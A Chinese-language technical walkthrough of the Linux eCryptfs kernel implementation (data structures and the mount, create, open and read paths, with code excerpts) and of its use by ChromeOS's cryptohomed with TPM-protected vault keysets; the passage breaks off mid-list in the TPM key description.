  eCryptfs 的设计受到OpenPGP规范的影响,核心思想:eCryptfs通过一种对称密钥加密算法来加密文件的内容或文件名,如AES-128,密钥 FEK(File Encryption Key)随机产生。而FEK通过用户口令或者公钥进行保护,加密后的FEK称EFEK(Encrypted File Encryption Key),口令/公钥称为 FEFEK(File Encryption Key Encryption Key)。在保存文件时,将包含有EFEK、加密算法等信息的元数据(metadata)放置在文件的头部或者xattr扩展属性里(本文默认以前者做为讲解),打开文件前再解析metadata。

![](ecryptfs-framework.png "图一") 图一 eCryptfs的系统架构

  eCryptfs的系统架构如图一所示,eCryptfs堆叠在EXT4文件系统之上,工作时需要用户程序和内核同时配合,用户程序主要负责获取密钥并通过(add_key/keyctl/request_key)系统调用传送到内核的keyring,当某个应用程序发起对文件的读写操作前,由eCryptfs对其进行加/解密,加/解密的过程中需要调用Kernel的Crypto API(AES/DES etc)来完成。以对目录eCryptfs-test进行加密为例,为方便起见,在Ubuntu系统下测试eCryptfs的建立流程,如图二所示,通过mount指令发起eCryptfs的建立流程,然后在用户应用程序eCryptfs-utils的辅助下输入用于加密FEK的用户口令及选择加密算法等,完成挂载后意味着已经开始对测试目录eCryptfs-test的所有内容进行加密处理。测试中在eCryptfs-test目录下增加需要加密的文件或目录的内容,当用户umount退出对eCryptfs-test目录的挂载后再次查看该目录时,发现包括文件名和文件内容都进行了加密,如图三所示。

![](eCryptfs-demo-setup.png "图二") 图二 eCryptfs使用时的建立流程


图三 eCryptfs加密后的文件


图四 eCryptfs对文件的加解密流程

  实现上,eCryptfs对数据的加/解密流程如图四所示,对称密钥加密算法以块为单位进行加密/解密,如AES-128。eCryptfs 将加密文件分成多个逻辑块,称为 extent,extent 的大小可调,但是不能大于实际物理页,默认值等于物理页的大小,如32位的系统下是 4096 字节。加密文件的头部存放元数据,包括元数据长度、标志位、旗标、EFEK及相应的signature,目前元数据的最小长度为 8192 字节。加/解密开始前,首先解密FEKEK取出FEK。当读入一个 extent 中的任何部分的密文时,整个 extent 被读入 Page Cache,通过 Kernel Crypto API 进行解密;当 extent 中的任何部分的明文数据被写回磁盘时,需要加密并写回整个 extent。

eCryptfs详述 回页首

  eCryptfs在内核中的实现代码位于kernel/fs/ecryptfs,下面以eCryptfs使用到的关键数据结构、eCryptfs init、eCryptfs mount、file creat、file open、file read、file write的顺序分别介绍eCryptfs是如何工作。另外,eCryptfs还实现了/dev/ecryptfs的misc设备,用于内核与应用程序间的消息传递,如密钥请求与响应,属于非必选项,因此这里不对其进行介绍。

eCryptfs相关的数据结构 回页首

  eCryptfs关键的数据结构包括eCryptfs 文件系统相关file、dentry、inode、superblock、file_system_type描述、auth token认证令牌描述、eCryptfs加密信息描述等。
  eCryptfs文件系统相关的数据结构如清单一所示,下文将会重点介绍file_system_type中的mount函数,即ecryptfs_mount。

清单一 eCryptfs文件系统相关的数据结构

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
/* ecryptfs file_system_type */
static struct file_system_type ecryptfs_fs_type = {
.owner = THIS_MODULE,
.name = "ecryptfs",
.mount = ecryptfs_mount,
.kill_sb = ecryptfs_kill_block_super,
.fs_flags = 0
};

/* superblock private data. */
struct ecryptfs_sb_info {
struct super_block *wsi_sb;
struct ecryptfs_mount_crypt_stat mount_crypt_stat;
struct backing_dev_info bdi;
};

/* inode private data. */
struct ecryptfs_inode_info {
struct inode vfs_inode;
struct inode *wii_inode;
struct mutex lower_file_mutex;
atomic_t lower_file_count;
struct file *lower_file;
struct ecryptfs_crypt_stat crypt_stat;
};

/* dentry private data. Each dentry must keep track of a lower vfsmount too. */
struct ecryptfs_dentry_info {
struct path lower_path;
union {
struct ecryptfs_crypt_stat *crypt_stat;
struct rcu_head rcu;
};
};

/* file private data. */
struct ecryptfs_file_info {
struct file *wfi_file;
struct ecryptfs_crypt_stat *crypt_stat;
};

  eCryptfs支持对文件名(包括目录名)进行加密,因此特意使用了struct ecryptfs_filename的结构封装文件名,如清单二所示。

清单二 文件名的数据结构

1
2
3
4
5
6
7
8
9
10
11
struct ecryptfs_filename {
struct list_head crypt_stat_list;
u32 flags;
u32 seq_no;
char *filename;
char *encrypted_filename;
size_t filename_size;
size_t encrypted_filename_size;
char fnek_sig[ECRYPTFS_SIG_SIZE_HEX];
char dentry_name[ECRYPTFS_ENCRYPTED_DENTRY_NAME_LEN + 1];
};

  struct ecryptfs_auth_tok用于记录认证令牌信息,包括用户口令和非对称加密两种类型,每种类型都包含有密钥的签名,用户口令类型还包含有算法类型和加盐值等,如清单三所示。为了方便管理,使用时统一将其保存在struct ecryptfs_auth_tok_list_item链表中。

清单三 认证令牌信息的数据结构

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
struct ecryptfs_auth_tok {
u16 version; /* 8-bit major and 8-bit minor */
u16 token_type;
u32 flags;
struct ecryptfs_session_key session_key;
u8 reserved[32];
union {
struct ecryptfs_password password; //用户口令类型
struct ecryptfs_private_key private_key; //非对称加密类型
} token;
}

struct ecryptfs_password {
u32 password_bytes;
s32 hash_algo;
u32 hash_iterations;
u32 session_key_encryption_key_bytes;
u32 flags;
/* Iterated-hash concatenation of salt and passphrase */
u8 session_key_encryption_key[ECRYPTFS_MAX_KEY_BYTES];
u8 signature[ECRYPTFS_PASSWORD_SIG_SIZE + 1];
/* Always in expanded hex */
u8 salt[ECRYPTFS_SALT_SIZE];
};

struct ecryptfs_private_key {
u32 key_size;
u32 data_len;
u8 signature[ECRYPTFS_PASSWORD_SIG_SIZE + 1];
char pki_type[ECRYPTFS_MAX_PKI_NAME_BYTES + 1];
u8 data[];
};

  eCryptfs在mount时会传入全局加解密用到密钥、算法相关数据,并将其保存在struct ecryptfs_mount_crypt_stat,如清单四所示

清单四 mount时传入的密钥相关数据结构

1
2
3
4
5
6
7
8
9
10
11
struct ecryptfs_mount_crypt_stat {
u32 flags;
struct list_head global_auth_tok_list;
struct mutex global_auth_tok_list_mutex;
size_t global_default_cipher_key_size;
size_t global_default_fn_cipher_key_bytes;
unsigned char global_default_cipher_name[ECRYPTFS_MAX_CIPHER_NAME_SIZE + 1];
unsigned char global_default_fn_cipher_name[
ECRYPTFS_MAX_CIPHER_NAME_SIZE + 1];
char global_default_fnek_sig[ECRYPTFS_SIG_SIZE_HEX + 1];
};

  eCryptfs读写文件时首先需要进行加/解密,此时使用的密钥相关数据保存在struct ecryptfs_crypt_stat结构中,其具体数值在open时初始化,部分从mount时的ecryptfs_mount_crypt_stat复制过来,部分从分析加密文件的metadata获取,该数据结构比较关键,贯穿eCryptfs的文件open、read、write、close等流程,如清单五所示。

清单五 ecryptfs_crypt_stat数据结构

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
struct ecryptfs_crypt_stat {
u32 flags;
unsigned int file_version;
size_t iv_bytes;
size_t metadata_size;
size_t extent_size; /* Data extent size; default is 4096 */
size_t key_size;
size_t extent_shift;
unsigned int extent_mask;
struct ecryptfs_mount_crypt_stat *mount_crypt_stat;
struct crypto_ablkcipher *tfm;
struct crypto_hash *hash_tfm; /* Crypto context for generating
* the initialization vectors */
unsigned char cipher[ECRYPTFS_MAX_CIPHER_NAME_SIZE + 1];
unsigned char key[ECRYPTFS_MAX_KEY_BYTES];
unsigned char root_iv[ECRYPTFS_MAX_IV_BYTES];
struct list_head keysig_list;
struct mutex keysig_list_mutex;
struct mutex cs_tfm_mutex;
struct mutex cs_hash_tfm_mutex;
struct mutex cs_mutex;
};

eCryptfs init过程 回页首

  使用eCryptfs前,首先需要通过内核的配置选项“CONFIG_ECRYPT_FS=y”使能eCryptfs,因为加解密时使用到内核的crypto和keystore接口,所以要确保“CONFIG_CRYPTO=y”,“CONFIG_KEYS=y”,“CONFIG_ENCRYPTED_KEYS=y”,同时使能相应的加解密算法,如AES等。重新编译内核启动后会自动注册eCryptfs,其init的代码如清单六所示。

清单六 eCryptfs init过程

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
static int __init ecryptfs_init(void)
{
int rc;
//eCryptfs的extent size不能大于page size
if (ECRYPTFS_DEFAULT_EXTENT_SIZE > PAGE_CACHE_SIZE) {
rc = -EINVAL; ecryptfs_printk(KERN_ERR,…); goto out;
}
/*为上文列举到的eCryptfs重要的数据结构对象申请内存,如eCryptfs的auth token、superblock、inode、dentry、file、key 等*/
rc = ecryptfs_init_kmem_caches();

//建立sysfs接口,该接口中的version各bit分别代表eCryptfs支持的能力和属性
rc = do_sysfs_registration();

//建立kthread,为后续eCryptfs读写lower file时能借助内核函数得到rw的权限
rc = ecryptfs_init_kthread();

//在chromeos中该函数为空,直接返回0
rc = ecryptfs_init_messaging();

//初始化kernel crypto
rc = ecryptfs_init_crypto();

//注册eCryptfs文件系统
rc = register_filesystem(&ecryptfs_fs_type);

return rc;
}

eCryptfs mount过程 回页首

  在使能了eCryptfs的内核,当用户在应用层下发“mount –t ecryptfs src dst options”指令时触发执行上文清单一中的ecryptfs_mount函数进行文件系统的挂载安装并初始化auth token,成功执行后完成对src目录的eCryptfs属性的指定,eCryptfs开始正常工作,此后任何在src目录下新建的文件都会被自动加密处理,若之前该目录已有加密文件,此时会被自动解密。
  ecryptfs_mount涉及的代码比较多,篇幅有限,化繁为简,函数调用关系如图五所示。

![](ecryptfs-mount.png "图五") 图五 eCryptfs mount的函数调用关系图

  从图五可看到mount时首先利用函数ecryptfs_parse_options()对传入的option参数做解析,完成了如下事项:

  1. 调用函数ecryptfs_init_mount_crypt_stat()初始化用于保存auth token相关的 struct ecryptfs_mount_crypt_stat 对象;
  2. 调用函数ecryptfs_add_global_auth_tok()将从option传入的分别用于FEK和FNEK(File Name Encryption Key,用于文件名加解密)的auth token的signature保存到struct ecryptfs_mount_crypt_stat 对象;
  3. 分析option传入参数,初始化struct ecryptfs_mount_crypt_stat 对象的成员,如global_default_cipher_name、global_default_cipher_key_size、flags、global_default_fnek_sig、global_default_fn_cipher_name、global_default_fn_cipher_key_bytes等;
  4. 调用函数ecryptfs_add_new_key_tfm()针对FEK和FNEK的加密算法分别初始化相应的kernel crypto tfm接口;
  5. 调用函数ecryptfs_init_global_auth_toks()将解析option后得到key sign做为参数利用keyring的request_key接口获取上层应用传入的auth token,并将auth token添加入struct ecryptfs_mount_crypt_stat 的全局链表中,供后续使用。
      接着为eCryptfs创建superblock对象并初始化,具体如下:通过函数sget()创建eCryptfs类型的superblock;调用bdi_setup_and_register()函数为eCryptfs的ecryptfs_sb_info 对象初始化及注册数据的回写设备bdi;初始化eCryptfs superblock对象的各成员,如s_fs_info、s_bdi、s_op、s_d_op等;然后获取当前挂载点的path并判断是否已经是eCryptfs,同时对执行者的权限做出判断;再通过ecryptfs_set_superblock_lower()函数将eCryptfs的superblock和当前挂载点上底层文件系统对应的VFS superblock产生映射关系;根据传入的mount option参数及VFS映射点superblock的值初始化eCryptfs superblock对象flag成员,如关键的MS_RDONLY属性;根据VFS映射点superblock的值初始化eCryptfs superblock对象的其他成员 ,如s_maxbytes、s_blocksize、s_stack_depth;最后设置superblock对象的s_magic为ECRYPTFS_SUPER_MAGIC。这可看出eCryptfs在Linux kernel的系统架构中,其依赖于VFS并处于VFS之下层,实际文件系统之上层。
      下一步到创建eCryptfs的inode并初始化,相应工作通过函数ecryptfs_get_inode()完成,具体包括:首先获取当前挂载点对应的VFS的inode;然后调用函数iget5_locked()在挂载的fs中获取或创建一个eCryptfs的inode,并将该inode与挂载点对应的VFS的inode建立映射关系,与superblock类似,eCryptfs的inode对象的部分初始值从其映射的VFS inode中拷贝,inode operation由函数ecryptfs_inode_set()发起初始化,根据inode是符号链接还是目录文件还是普通文件分别进行不同的i_op 赋值,如ecryptfs_symlink_iops/ecryptfs_dir_iops/ecryptfs_main_iops;同时对i_fop file_operations进行赋值,如ecryptfs_dir_fops/ecryptfs_main_fops 。
      然后调用d_make_root()函数为之前创建的superblock设置eCryptfs的根目录s_root。
      最后通过ecryptfs_set_dentry_private()函数为eCryptfs设置dentry。

加密文件creat过程 回页首

  creat过程特指应用层通过creat系统调用创建一个新的加密文件的流程。以应用程序通过creat()函数在以eCryptfs挂载的目录下创建加密文件为例,其函数调用流程如图六所示,creat()通过系统调用进入VFS,后经过层层函数调用,最终调用到eCryptfs层的ecryptfs_create()函数,该部分不属于eCryptfs的重点,不详述。

![](ecryptfs-file-creat.png "图六") 图六 create经由VFS调用ecryptfs_create的流程


图七 eCryptfs创建加密文件的函数调用过程

  eCryptfs层通过ecryptfs_create() 函数完成最终的加密文件的创建,关键代码的调用流程如图七所示,以代码做为视图,分为三大步骤:一、通过ecryptfs_do_create()函数创建eCryptfs 文件的inode并初始化;二、通过函数ecryptfs_initialize_file()将新创建的文件初始化成eCryptfs加密文件的格式,添加入诸如加密算法、密钥信息等,为后续的读写操作初始化好crypto接口;三、通过d_instantiate()函数将步骤一生成的inode信息初始化相应的dentry。具体如下:
一.为新文件创建inode
  首先借助ecryptfs_dentry_to_lower()函数根据eCryptfs和底层文件系统(在chromeos里就是ext4)的映射关系获取到底层文件系统的dentry值。然后调用vfs_create()函数在底层文件系统上创建inode,紧接着利用__ecryptfs_get_inode()函数创建eCryptfs的inode 对象并初始化以及建立其与底层文件系统inode间的映射关系,之后通过fsstack_copy_attr_times()、fsstack_copy_inode_size()函数利用底层文件系统的inode对象的值初始化eCryptfs inode的相应值。
二.初始化eCryptfs新文件
  经过步骤一完成了在底层文件系统上新建了文件,现在通过函数ecryptfs_initialize_file()将该文件设置成eCryptfs加密文件的格式。

  1. ecryptfs_new_file_context()函数完成初始化文件的context,主要包括加密算法cipher、auth token、生成针对文件加密的随机密钥等,这里使用的关键数据结构是struct ecryptfs_crypt_stat,具体如清单五所示,初始化文件的context基本可以看成是初始化struct ecryptfs_crypt_stat对象,该对象的cipher、auth token、key sign等值从mount eCryptfs传入的option并保存在struct ecryptfs_mount_crypt_stat (详见清单四)对象中获取。具体是:首先由ecryptfs_set_default_crypt_stat_vals()函数完成flags、extent_size、metadata_size、cipher、key_size、file_version、mount_crypt_stat等ecryptfs_crypt_stat对象的缺省值设置;然后再通过ecryptfs_copy_mount_wide_flags_to_inode_flags()函数根据mount时设置的ecryptfs_mount_crypt_stat的flags重新设置ecryptfs_crypt_stat对象flags;接着由ecryptfs_copy_mount_wide_sigs_to_inode_sigs()函数将mount时保存的key sign赋值给ecryptfs_crypt_stat对象的keysig_list中的节点对象中的keysig;然后继续将ecryptfs_mount_crypt_stat的cipher、key_size等值赋给ecryptfs_crypt_stat对象中的相应值;再调用函数ecryptfs_generate_new_key()生成key并保存到ecryptfs_crypt_stat对象的key;最后通过ecryptfs_init_crypt_ctx()函数完成kernel crypto context的初始化,如tfm,为后续的写操作时的加密做好准备。
  2. ecryptfs_get_lower_file()通过调用底层文件系统的接口打开文件,需要注意的是ecryptfs_privileged_open(),该函数唤醒了上文清单六提到kthread,借助该内核线程,eCryptfs巧妙避开了底层文件的读写权限的限制。
  3. ecryptfs_write_metadata()完成关键的写入eCryptfs文件格式到新创建的文件中。
      关键函数ecryptfs_write_headers_virt()的代码如清单七所示,eCryptfs保存格式如清单七的注释(也可参考上文的图四),其格式传承自OpenPGP,最后在ecryptfs_generate_key_packet_set()完成EFEK的生成,并根据token_type的类型是ECRYPTFS_PASSWORD还是ECRYPTFS_PRIVATE_KEY生成不同的OpenPGP的Tag,之后保存到eCryptfs文件头部bytes 26开始的地方。这里以ECRYPTFS_PASSWORD为例,因此bytes 26地址起存放的内容是Tag3和Tag11,对应着EFEK和Key sign。否则保存的是Tag1,即EFEK。Tag3或Tag1的具体定义详见OpenPGP的描述文档RFC2440.
      之后将生成的eCryptfs文件的头部数据保存到底层文件系统中,该工作由ecryptfs_write_metadata_to_contents()完成。
  4. 最后通过ecryptfs_put_lower_file()将文件改动的所有脏数据回写入磁盘。
    三.最后通过d_instantiate()函数将步骤一生成的inode信息初始化相应的dentry,方便后续的读写操作。

    清单七 写入eCryptfs格式文件的关键函数

    1
    2
    3
    4
    5
    6
    7
    8
    9
    10
    11
    12
    13
    14
    15
    16
    17
    18
    19
    20
    21
    22
    23
    24
    25
    26
    27
    28
    29
    30
    31
    32
    33
    34
    35
    36
    37
    38
    39
    40
    41
    /* Format version: 1
    * Header Extent:
    * Octets 0-7: Unencrypted file size (big-endian)
    * Octets 8-15: eCryptfs special marker
    * Octets 16-19: Flags
    * Octet 16: File format version number (between 0 and 255)
    * Octets 17-18: Reserved
    * Octet 19: Bit 1 (lsb): Reserved
    * Bit 2: Encrypted?
    * Bits 3-8: Reserved
    * Octets 20-23: Header extent size (big-endian)
    * Octets 24-25: Number of header extents at front of file (big-endian)
    * Octet 26: Begin RFC 2440 authentication token packet set
    * Data Extent 0: Lower data (CBC encrypted)
    * Data Extent 1: Lower data (CBC encrypted)
    * ...
    */
    static int ecryptfs_write_headers_virt(char *page_virt, size_t max,
    size_t *size,
    struct ecryptfs_crypt_stat *crypt_stat,
    struct dentry *ecryptfs_dentry)
    {
    int rc;
    size_t written;
    size_t offset;

    offset = ECRYPTFS_FILE_SIZE_BYTES;
    write_ecryptfs_marker((page_virt + offset), &written);
    offset += written;
    ecryptfs_write_crypt_stat_flags((page_virt + offset), crypt_stat,
    &written);
    offset += written;
    ecryptfs_write_header_metadata((page_virt + offset), crypt_stat,
    &written);
    offset += written;
    rc = ecryptfs_generate_key_packet_set((page_virt + offset), crypt_stat,
    ecryptfs_dentry, &written,
    max - offset);

    return rc;
    }

加密文件open过程 回页首

  这里open过程主要指通过open系统调用打开一个已存在的加密文件的流程。当应用程序在已完成eCryptfs挂载的目录下open一个已存在的加密文件时(这里以普通文件为例),其系统调用流程如图八所示,经由层层调用后进入ecryptfs_open()函数,由其完成加密文件的metadata分析,然后取出EFEK并使用kernel crypto解密得到FEK。另外在文中”create过程”分析时,着重介绍了创建eCryptfs格式文件的过程,省略了在完成lookup_open()函数调用后的vfs_open()的分析,它与这里介绍的vfs_open()流程是一样的。需要特别指出的是在do_dentry_open函数里初始化了struct file的f_mapping成员,让其指向inode->i_mapping;而在上图五的inode的创建函数ecryptfs_inode_set中存在”inode->i_mapping->a_ops = &ecryptfs_aops”的赋值语句,这为后续的加密文件的页读写时使用的关键对象struct address_space_operations a_ops做好了初始化。
  下面重点介绍ecryptfs_open()函数,其主要的函数调用关系如图九所示。eCryptfs支持Tag3和Tag1的形式保存EFEK,这里的分析默认是采用了Tag3的方式。

![](ecryptfs-open.png "图八") 图八 create经由VFS调用ecryptfs_create的流程


图九 eCryptfs创建加密文件的函数调用过程

  ecryptfs_open()函数的完成的主要功能包括读取底层文件,分析其文件头部的metadata,取出关键的EFEK及key sign,之后根据key sign从ecryptfs_mount_crypt_stat对象中匹配到相应的auth token,再调用kernel crypto解密EFEK得到FEK,最后将FEK保存到ecryptfs_crypt_stat的key成员中,完成ecryptfs_crypt_stat对象的初始化,供后续的文件加解密使用。具体如下:

  1. ecryptfs_set_file_private()巧妙的将struct ecryptfs_file_info保存到struct file的private_data中,完成VFS和eCryptfs之间的链式表达及映射;
  2. ecryptfs_get_lower_file()借助kthread 内核线程巧妙的获取到底层文件的RW权限;
  3. ecryptfs_set_file_lower()完成struct ecryptfs_file_info的wfi_file和底层文件系统文件lower_file之间的映射;
  4. read_or_initialize_metadata()完成了ecryptfs_open的大部分功能,首先通过ecryptfs_copy_mount_wide_flags_to_inode_flags()从文件对应的ecryptfs_mount_crypt_stat中拷贝flags对ecryptfs_crypt_stat的flags进行初始化;之后使用函数ecryptfs_read_lower()读取文件的头部数据,紧接着利用ecryptfs_read_headers_virt()进行数据分析和处理,包括:
    1) 利用ecryptfs_set_default_sizes()初始化ecryptfs_crypt_stat对象的extent_size、iv_bytes、metadata_size等成员的默认值;
    2) 使用ecryptfs_validate_marker()校验文件的marker标记值是否符合eCryptfs文件格式;
    3) 通过ecryptfs_process_flags()取出文件metadata保存的flag并修正ecryptfs_crypt_stat对象成员flags的值,同时初始化对象成员file_version;
    4) 在parse_header_metadata()分析文件的metadata的大小并保存到ecryptfs_crypt_stat对象成员metadata_size;
    5) 通过ecryptfs_parse_packet_set()解析Tag3和Tag11的OpenPGP格式包,获取EFEK及key sign,后根据key sign匹配到auth token,再调用kernel crypto解密EFEK得到FEK。对应的代码实现逻辑是:parse_tag_3_packet()解析Tag3,获取EFEK和cipher,同时将cipher保存到ecryptfs_crypt_stat对象成员cipher;parse_tag_11_packet()解析出key sign,保存到auth_tok_list链表中;ecryptfs_get_auth_tok_sig()从auth_tok_list链表中获取到key sign;然后通过ecryptfs_find_auth_tok_for_sig()根据key sign从ecryptfs_mount_crypt_stat对象中匹配到相应的auth token;再利用decrypt_passphrase_encrypted_session_key()使用分析得到的auth token、cipher解密出FEK,并将其保存在ecryptfs_crypt_stat的key成员;之后在ecryptfs_compute_root_iv()函数里初始化ecryptfs_crypt_stat的root_iv成员,在ecryptfs_init_crypt_ctx()函数里初始化ecryptfs_crypt_stat的kernel crypto接口tfm。至此,ecryptfs_crypt_stat对象初始化完毕,后续文件在读写操作时使用到的加解密所需的所有信息均在该对象中获取。

加密文件read过程 回页首

  read过程指应用程序通过read()函数在eCryptfs挂载的目录下读取文件的过程。因为挂载点在挂载eCryptfs之前可能已经存在文件,这些已存在的文件属于非加密文件,只有在完成eCryptfs挂载后的文件才自动保存成eCryptfs格式的加密文件,所以读取文件时需要区分文件是否属于加密文件。从应用程序发起read()操作到eCryptfs层响应的函数调用关系流程图如十所示,读取时采用page read的机制,涉及到page cache的问题,图中以首次读取文件,即文件内容还没有被读取到page cache的情况为示例。自ecryptfs_read_update_atime()起进入到eCryptfs层,由此函数完成从底层文件系统中读取出文件内容,若是加密文件则利用kernel crypto和open时初始化好的ecryptfs_crypt_stat对象完成内容的解密,之后将解密后的文件内容拷贝到上层应用程序,同时更新文件的访问时间,其中touch_atime()完成文件的访问时间的更新;generic_file_read_iter()函数调用内核函数do_generic_file_read(),完成内存页的申请,并借助mapping->a_ops->readpage()调用真正干活的主力ecryptfs_readpage()来完成解密工作,最后通过copy_page_to_iter()将解密后的文件内容拷贝到应用程序。到了关键的解密阶段,描述再多也不如代码来的直观,ecryptfs_readpage()的核心代码如清单八、九、十所示。

![](ecryptfs-read.png "图十") 图十 create经由VFS调用ecryptfs_create的流程

清单八 ecryptfs_readpage()关键代码

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
static int ecryptfs_readpage(struct file *file, struct page *page)
{
struct ecryptfs_crypt_stat *crypt_stat =
&ecryptfs_inode_to_private(page->mapping->host)->crypt_stat;
int rc = 0;

if (!crypt_stat || !(crypt_stat->flags & ECRYPTFS_ENCRYPTED)) {

//读取非加密文件
rc = ecryptfs_read_lower_page_segment(page, page->index, 0,
PAGE_CACHE_SIZE,
page->mapping->host);
} else if (crypt_stat->flags & ECRYPTFS_VIEW_AS_ENCRYPTED) {

//直接读取密文给上层,此时应用程序读到的是一堆乱码
if (crypt_stat->flags & ECRYPTFS_METADATA_IN_XATTR) {
rc = ecryptfs_copy_up_encrypted_with_header(page, crypt_stat);

} else {
rc = ecryptfs_read_lower_page_segment(
page, page->index, 0, PAGE_CACHE_SIZE,
page->mapping->host);

}
} else {

//读取密文并调用kernel crypto解密
rc = ecryptfs_decrypt_page(page);

}

return rc;
}

清单九 ecryptfs_decrypt_page()核心代码

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
int ecryptfs_decrypt_page(struct page *page)
{

ecryptfs_inode = page->mapping->host;

//获取包含有FEK、cipher、crypto context tfm信息的ecryptfs_crypt_stat
crypt_stat = &(ecryptfs_inode_to_private(ecryptfs_inode)->crypt_stat);

//计算加密文件内容在底层文件中的偏移
lower_offset = lower_offset_for_page(crypt_stat, page);
page_virt = kmap(page);

//利用底层文件系统的接口读取出加密文件的内容
rc = ecryptfs_read_lower(page_virt, lower_offset, PAGE_CACHE_SIZE, ecryptfs_inode);
kunmap(page);

for (extent_offset = 0;
extent_offset < (PAGE_CACHE_SIZE / crypt_stat->extent_size);
extent_offset++) {

//解密文件内容
rc = crypt_extent(crypt_stat, page, page,
extent_offset, DECRYPT);

}

}

清单十 crypt_extent()核心加解密函数的关键代码

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
static int crypt_extent(struct ecryptfs_crypt_stat *crypt_stat,
struct page *dst_page,
struct page *src_page,
unsigned long extent_offset, int op)
{
//op 指示时利用该函数进行加密还是解密功能
pgoff_t page_index = op == ENCRYPT ? src_page->index : dst_page->index;
loff_t extent_base;
char extent_iv[ECRYPTFS_MAX_IV_BYTES];
struct scatterlist src_sg, dst_sg;
size_t extent_size = crypt_stat->extent_size;
int rc;

extent_base = (((loff_t)page_index) * (PAGE_CACHE_SIZE / extent_size));
rc = ecryptfs_derive_iv(extent_iv, crypt_stat,
(extent_base + extent_offset));

sg_init_table(&src_sg, 1);
sg_init_table(&dst_sg, 1);

sg_set_page(&src_sg, src_page, extent_size,
extent_offset * extent_size);
sg_set_page(&dst_sg, dst_page, extent_size,
extent_offset * extent_size);

//调用kernel crypto API进行加解密
rc = crypt_scatterlist(crypt_stat, &dst_sg, &src_sg, extent_size, extent_iv, op);

return rc;
}

  理顺了mount、open的流程,知道FEK、cipher、kernel crypto context的值及存放位置,同时了解了加密文件的格式,解密的过程显得比较简单,感兴趣的同学可以继续查看crypt_scatterlist()的代码,该函数纯粹是调用kernel crypto API进行加解密的过程,跟eCryptfs已经没有关系。

加密文件write过程 回页首

  eCryptfs 文件write的流程跟read类似,在写入lower file前先通过ecryptfs_writepage()函数进行文件内容的加密,这里不再详述。

ChromeOS使用eCryptfs的方法及流程 回页首

  Chromeos在保护用户数据隐私方面可谓不遗余力,首先在系统分区上专门开辟出专用于存储用户数据的stateful partition,当用户进行正常和开发者模式切换时,该分区的数据将会被自动擦除;其次该stateful partition的绝大部分数据采用dm-crypt进行加密,在系统启动时用户登录前由mount-encrypted完成解密到/mnt/stateful_partition/encrypted,另外完成以下几个mount工作:将/Chromeos/mnt/stateful_partition/home bind mount 到/home;将/mnt/stateful_partition/encrypted/var bind mount到/var目录;将/mnt/stateful_partition/encrypted/chromos bind mount 到/home/chronos。最后在用户登录时发起对该用户私有数据的eCryptfs加解密的流程,具体工作由cryptohomed守护进程负责完成,eCryptfs加密文件存放在/home/.shadow/[salted_hash_of_username]/vault目录下,感兴趣的读者可通过ecryptfs-stat命令查看其文件状态和格式,mount点在/home/.shadow/[salted_hash_of_username]/mount,之后对/home/.shadow/[salted_hash_of_username]/mount下的user和root建立bind mount点,方便用户使用,如将/home/.shadow/[salted_hash_of_username]/mount/user bind mount到/home/user/[salted_hash_of_username]和/home/chronos/u-[salted_hash_of_username] ;将/home/.shadow/[salted_hash_of_username]/mount/root bind mount到/home/root/[salted_hash_of_username]。用户在存取数据时一般是对目录/home/chronos/u-[salted_hash_of_username]进行操作。
  eCryptfs在Chromeos中的应用架构如图十所示。系统启动后开启cryptohomed的守护进程,由该进程来响应eCryptfs的挂载和卸载等,进程间采用D-Bus的方式进行通信,cryptohome应用程序主用于封装用户的动作命令,后通过D-Bus向cryptohomed发起请求。如可通过cryptohome命令”cryptohome -–action=mount -–user=[account_id]”来发起eCryptfs的挂载;通过命令”cryptohome -–action=unmount”卸载eCryptfs的挂载,执行成功此命令后,用户的所有个人数据将无法访问,如用户先前下载的文件内容不可见、安装的应用程序不可使用,/home/.shadow/[salted_hash_of_username]/mount内容为空。

![](ecryptfs-framework-in-chromeos.png "图十一") 图十一 eCryptfs在Chromeos中的架构图

  cryptohomed特色的mount流程如下:

  1. cryptohomed在D-Bus上接收到持(包含用户名和密码)有效用户证书的mount请求,当然D-Bus请求也是有权限控制的;
  2. 假如是用户首次登陆,将进行:
    a. 建立/home/.shadow/[salted_hash_of_username]目录,采用SHA1算法和系统的salt对用户名进行加密,生成salted_hash_of_username,简称s_h_o_u;
    b. 生成vault keyset /home/.shadow/[salted_hash_of_username]/master.0和/home/.shadow/[salted_hash_of_username]/master.0.sum。 master.0加密存储了包含有FEK和FNEK的内容以及非敏感信息如salt、password rounds等;master.0.sum是对master.0文件内容的校验和。
  3. 采用通过mount请求传入的用户证书解密keyset。当TPM可用时优先采用TPM解密,否则采用Scrypt库,当TPM可用后再自动切换回使用TPM。cryptohome使用TPM仅仅是为了存储密钥,由TPM封存的密钥仅能被TPM自身使用,这可用缓解密钥被暴力破解,增强保护用户隐私数据的安全。TPM的首次初始化由cryptohomed完成。这里默认TPM可正常使用,其解密机制如下图十二所示,其中:
    UP:User Passkey,用户登录口令
    EVKK:Ecrypted vault keyset key,保存在master.0中的”tpm_key”字段
    IEVKK:Intermediate vault keyset key,解密过程生成的中间文件,属于EVKK的解密后产物,也是RSA解密的输入密文
    TPM_CHK: TPM-wrapped system-wide Cryptohome key,保存在/home/.shadow/cryptohome.key,TPM init时加载到TPM
    VKK:Vault keyset key
    VK:Vault Keyset,包含FEK和FNEK
    EVK:Encrypted vault keyset,保存在master.0里”wrapped_keyset”字段
